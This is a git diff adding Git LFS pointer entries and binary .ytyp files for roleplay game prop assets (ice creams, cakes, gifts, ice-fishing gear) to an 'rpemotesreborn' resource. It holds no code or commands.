a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brummie_props.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brummie_props.ytyp new file mode 100644 index 000000000..4e5f9c7f9 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brummie_props.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_food_kebab.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_food_kebab.ydr new file mode 100644 index 000000000..005c9061b --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_food_kebab.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2138a392a8c87af1d4d88a86932590a07d5623736ac1ae87a4a5745868f13657 +size 272359 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_food_marshmallow.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_food_marshmallow.ydr new file mode 100644 index 000000000..acec48e55 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_food_marshmallow.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d013a03a2c3f4d2b83417fd9a4b5a2a8edcf1d4502cb2de5703b82963cd3d4f9 +size 62965 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_food_melloburnt.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_food_melloburnt.ydr new file mode 100644 index 000000000..9a1ba0975 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_food_melloburnt.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6dd899a6a1de72bb927df49635e0085dc3f256f6bbb852190617d62952f7ac2e +size 256377 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_food_mellopink.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_food_mellopink.ydr new file mode 100644 index 000000000..13811345b --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_food_mellopink.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d639ed011b7b38a5f23bc72def03d5488e88cede688ab80cb83195cf73a1a2d9 +size 56763 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_props.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_props.ytyp new file mode 100644 index 000000000..35fe4861f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_props.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_stick_kebab.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_stick_kebab.ydr new file mode 100644 index 000000000..d8da0dfbb --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_stick_kebab.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0635d2a447d211749665af24446dfb378725634694248d16057764ec4b32a960 +size 281544 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_stick_marshmallow.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_stick_marshmallow.ydr new file mode 100644 index 000000000..a76f96c35 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_stick_marshmallow.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a5168797c1199709ebb2e83fd87f79cbe99ab30280bdac8e81296f0a5ff07303 +size 72397 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_stick_melloburnt.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_stick_melloburnt.ydr new file mode 100644 index 000000000..3116b96e5 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_stick_melloburnt.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b1668d59fe77cf089a856db694175f77913f7147fe0ffc6e49bade4c6b34537e +size 266645 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_stick_mellopink.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_stick_mellopink.ydr new file mode 100644 index 000000000..ced48097d --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_camp_stick_mellopink.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3b4c6c7d33d99f04c2a2ea75ed73e0ad2ae34cc8322e009a728c068a6ec4b1e4 +size 66304 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_event_easter_basket_b.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_event_easter_basket_b.ydr new file mode 100644 index 000000000..c296f0215 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_event_easter_basket_b.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d91ebfcfdb96075aedd00b5a4685d864282e8235707a3895fe24f26bdb2bcae7 +size 79339 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_event_easter_bunny_a.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_event_easter_bunny_a.ydr new file mode 100644 index 000000000..2cdb67b72 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_event_easter_bunny_a.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8284abbee4c90bb75081ede57976d12590b929e147b1f8133d258bab185a117e +size 53688 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_event_easter_egg_d.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_event_easter_egg_d.ydr new file mode 100644 index 000000000..b9b458b43 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_event_easter_egg_d.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b9a8d896b34ae99489b75312e7f3313ef4598586661fcecf6daa52796bdfd5f4 +size 2539 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_dessert_a.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_dessert_a.ydr new file mode 100644 index 000000000..b7779f118 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_dessert_a.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:52d4d026216f191cc37cbe7d1d42841ea8eac4d12cb20498b73a0e1942f8930e +size 110823 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_gingerbread_a.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_gingerbread_a.ydr new file mode 100644 index 000000000..6dadc413f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_gingerbread_a.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:edc0ac70d14a058b8e83b70eccdc2f8cf4bb2cc3fd09bdf29ed60827ba3ecb50 +size 77474 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_a.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_a.ydr new file mode 100644 index 000000000..05f825e68 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_a.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:12b41c69b1bfdc0760e4f410c16d1f60bb94c2dc76d0baecd8a4396d43212d61 +size 5626 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_b.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_b.ydr new file mode 100644 index 000000000..d06e78514 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_b.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:81d028938a57dc3dc06f1b70803408869b7057bc795dd5a9a70cac85a78f972c +size 5646 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_c.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_c.ydr new file mode 100644 index 000000000..c4e65695c --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_c.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:306455fa623c670debac77e1049660de4cef8a447f75dc1c690940c3db8159c1 +size 5634 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_d.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_d.ydr new file mode 100644 index 000000000..4f48af546 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_d.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ba42d0c11bc4d62c56f5077712b65a521f4c46674b73d3ee07525f9b0b7c5c21 +size 5618 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_e.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_e.ydr new file mode 100644 index 000000000..cc773fbdc --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_lollipop_e.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4349a04883eac44810ca34c08b15ba4d29ed61330d7961740842e61c20aaf25e +size 5634 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_macaroon_a.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_macaroon_a.ydr new file mode 100644 index 000000000..f32cbe7c4 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_macaroon_a.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:af16027e5a2571e2b8908e6e41a6105fc41f1d7feedbe53ee11c0814cacb8f29 +size 116258 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_mug_a.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_mug_a.ydr new file mode 100644 index 000000000..9dc0e4e26 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_mug_a.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:291ebba969899dcc4d4a27c4327be12445626b2d9902c0729b176bf053289bad +size 37393 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_mug_b.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_mug_b.ydr new file mode 100644 index 000000000..a1a3dc662 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_mug_b.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a3823fe0f6a554665fd501ce027ef2f47c11bc3d69021759d2e5c4a6d85bb3a9 +size 35909 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_mulled_wine_a.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_mulled_wine_a.ydr new file mode 100644 index 000000000..23a6d007e --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_food_xmas_mulled_wine_a.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:611c0426ec5e6894fdfb3f7c469ff752b491c2dd5a4884217cce8ac79226f760 +size 77409 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_foodpack_croissant001.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_foodpack_croissant001.ydr new file mode 100644 index 000000000..2cee849f8 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_foodpack_croissant001.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:327889c1d1316794ef1ae2fe36020091f14c36352d325dbba16d99f400711ffc +size 48366 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_foodpack_donut001.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_foodpack_donut001.ydr new file mode 100644 index 000000000..f77c6cd02 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_foodpack_donut001.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1099b5a601da1dd66c4abf107c6a1d8e3241640f79d988cdd956af7fbbcaae94 +size 29117 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_foodpack_donut002.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_foodpack_donut002.ydr new file mode 100644 index 000000000..e4b7b50d6 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_foodpack_donut002.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d197aa66a8584bbdf0ab0124bef7c798a5bd2ff56529e77536e8e1056e28b7f2 +size 32760 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_cherry.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_cherry.ydr new file mode 100644 index 000000000..df8494b14 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_cherry.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1af52e3a0c97b6e94b026a84162a5b90a96ce573efd14bdba0d9e6822127d884 +size 17747 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_chocolate.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_chocolate.ydr new file mode 100644 index 000000000..7ff8fa056 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_chocolate.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:faf2af8d43bc9f55eec3a838087e7caa1c78e57f396eb5569ede391f038c0722 +size 17542 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_lemon.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_lemon.ydr new file mode 100644 index 000000000..e15afe636 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_lemon.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:368f4df4b55093295c2b4d930f8c47e374c067a95220a38c859d5b265dc780ec +size 17834 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_pistachio.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_pistachio.ydr new file mode 100644 index 000000000..fa9b699e9 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_pistachio.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:30c73d82528957ada8409e63fad55c616e6551c4346510f94e1c201f7705a748 +size 17646 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_raspberry.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_raspberry.ydr new file mode 100644 index 000000000..3719b39e9 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_raspberry.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d7da601fa4dc7b539c34c59ff2b0b9f1aa2da9485c57d69282903c138a45e5d2 +size 17568 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_stracciatella.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_stracciatella.ydr new file mode 100644 index 000000000..ea461f8f2 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_stracciatella.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:38f797a8f4e026dbce50f7faf4705fd2a8bd304a9feffce2bb94d22a52f85736 +size 17904 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_strawberry.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_strawberry.ydr new file mode 100644 index 000000000..5384cc55b --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_strawberry.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:61116273a3bfb17e01ff5bfb49eca175b3cf8cfbdc2a457878e4dc18af4847c3 +size 17700 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_walnut.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_walnut.ydr new file mode 100644 index 000000000..c799cd7c3 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_icecream_walnut.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cc53f3259f33c99124d77fa3efb2d4534bbde60e1daecc4d185cdb3bd9a2cbc6 +size 17569 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_cake_baby_001.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_cake_baby_001.ydr new file mode 100644 index 000000000..0a1d962df --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_cake_baby_001.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8629fc0bb794a5d4bf134a02d8018eb9ff05ea05568484b6764697ba06c88a9d +size 126037 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_cake_birthday_001.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_cake_birthday_001.ydr new file mode 100644 index 000000000..4b855a172 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_cake_birthday_001.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:558f893eb8dafbaf441d27455671240db868a72d14989a365b156f11a0565ed7 +size 129207 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_cake_casino001.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_cake_casino001.ydr new file mode 100644 index 000000000..da3e358a7 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_cake_casino001.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d62b8c6a42d7dd93989fab03dd7e70270ee8e3500a4f56b1b9f38f5152b8e514 +size 349887 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_cake_love_001.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_cake_love_001.ydr new file mode 100644 index 000000000..1e1a23beb --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_cake_love_001.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8b3b5b0b788173583421b0fd87e6b2a8cf839395ebb81b2fd6e3b90368e49101 +size 219557 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_gift_orange.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_gift_orange.ydr new file mode 100644 index 000000000..384bd6cbb --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_gift_orange.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:37abdf0c8208ed97bd99d2cfa1899aa77646c156e5dfc12f27623bbf262a9350 +size 44402 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_gift_purple.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_gift_purple.ydr new file mode 100644 index 000000000..8276dd3f5 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_gift_purple.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d8c7c60a8ee9099cd8c0da1f8a3c4bb5a731344a3faf1c63bd257539d14a9114 +size 46183 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_shop_basket_a.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_shop_basket_a.ydr new file mode 100644 index 000000000..29d5c8d08 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_shop_basket_a.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:94df066661d828582b7c6b5568e31fc0ae34faa364b08b696389ff888f14c866 +size 42976 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_shop_basket_b.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_shop_basket_b.ydr new file mode 100644 index 000000000..fddf96be0 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_shop_basket_b.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0f5c6441f7ec6f1301ae328c1a1884c1c09e06b79a8a699c7a5c3ee245400e83 +size 113739 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_torch_fire001.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_torch_fire001.ydr new file mode 100644 index 000000000..1c7743eaa --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_prop_torch_fire001.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:606bd352746fb1551c0a619e1269a97c6b301c35464cc95407ef3efdb4e61c43 +size 119254 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_props.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_props.ytyp new file mode 100644 index 000000000..ed881e6c2 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/bzzz_props.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/prop_bzzz_drugs_light001.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/prop_bzzz_drugs_light001.ydr new file mode 100644 index 000000000..73d7db7ba --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/prop_bzzz_drugs_light001.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b546d0bd037f59027a009c128c9bf780ef999bea26ebfc9bb45cda7d687cfbfc +size 186456 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/prop_bzzz_elektro_powerhouse001.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/prop_bzzz_elektro_powerhouse001.ydr new file mode 100644 index 000000000..0c6099fad --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/BzzziProps/prop_bzzz_elektro_powerhouse001.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:aa92aa77fe91fbe6f9032fda79ad58e7eaaea41a0a3394e66c368bb22d10a634 +size 180960 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/CandyApple/apple_1.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/CandyApple/apple_1.ydr new file mode 100644 index 000000000..9c7852191 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/CandyApple/apple_1.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:299cf12bcb73d69d873ece690f7e6d23323b3c81b0e3c3c01745ea57a9f0da7e +size 451852 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/CandyApple/apple_1.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/CandyApple/apple_1.ytyp new file mode 100644 index 000000000..4c71dc916 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/CandyApple/apple_1.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/CandyApple/candy_1_texture.ytd b/resources/rpemotesreborn1.6.0/stream/[Props]/CandyApple/candy_1_texture.ytd new file mode 100644 index 000000000..df53a7798 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/CandyApple/candy_1_texture.ytd @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2cee0c6bbb47d7bf6a94e602d850a3b12bfbaaf20d24e1c5448cac2dd3c69320 +size 1432772 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Crowded1337/prop_amb_handbag_01.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Crowded1337/prop_amb_handbag_01.ydr new file mode 100644 index 000000000..3270e914c --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Crowded1337/prop_amb_handbag_01.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fc92ca0bbb8db9076a3b7893803f0cd153a63c88407ea5b6fbf9c6e7d9e8038a +size 7528148 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/EP/pprp_icefishing.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/EP/pprp_icefishing.ytyp new file mode 100644 index 000000000..d09edf9b9 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/EP/pprp_icefishing.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/EP/pprp_icefishing_augur.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/EP/pprp_icefishing_augur.ydr new file mode 100644 index 000000000..bce0a8994 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/EP/pprp_icefishing_augur.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ba6efec56e03aff5c70988451aec98595ba106a01e812666a02c2736c6a3cd9b +size 256590 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/EP/pprp_icefishing_box_01.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/EP/pprp_icefishing_box_01.ydr new file mode 100644 index 000000000..3c1be578b --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/EP/pprp_icefishing_box_01.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f600844a2cc35a1d3156b935eeb9f36d69db42ce072dd9b3a0dea1347a644bdb +size 324391 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/EP/pprp_icefishing_box_02.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/EP/pprp_icefishing_box_02.ydr new file mode 100644 index 000000000..fd0999e73 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/EP/pprp_icefishing_box_02.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1f598b8659756050549732ca91a9d234108fa1071d171d2071f6d674152315ef +size 325136 diff --git 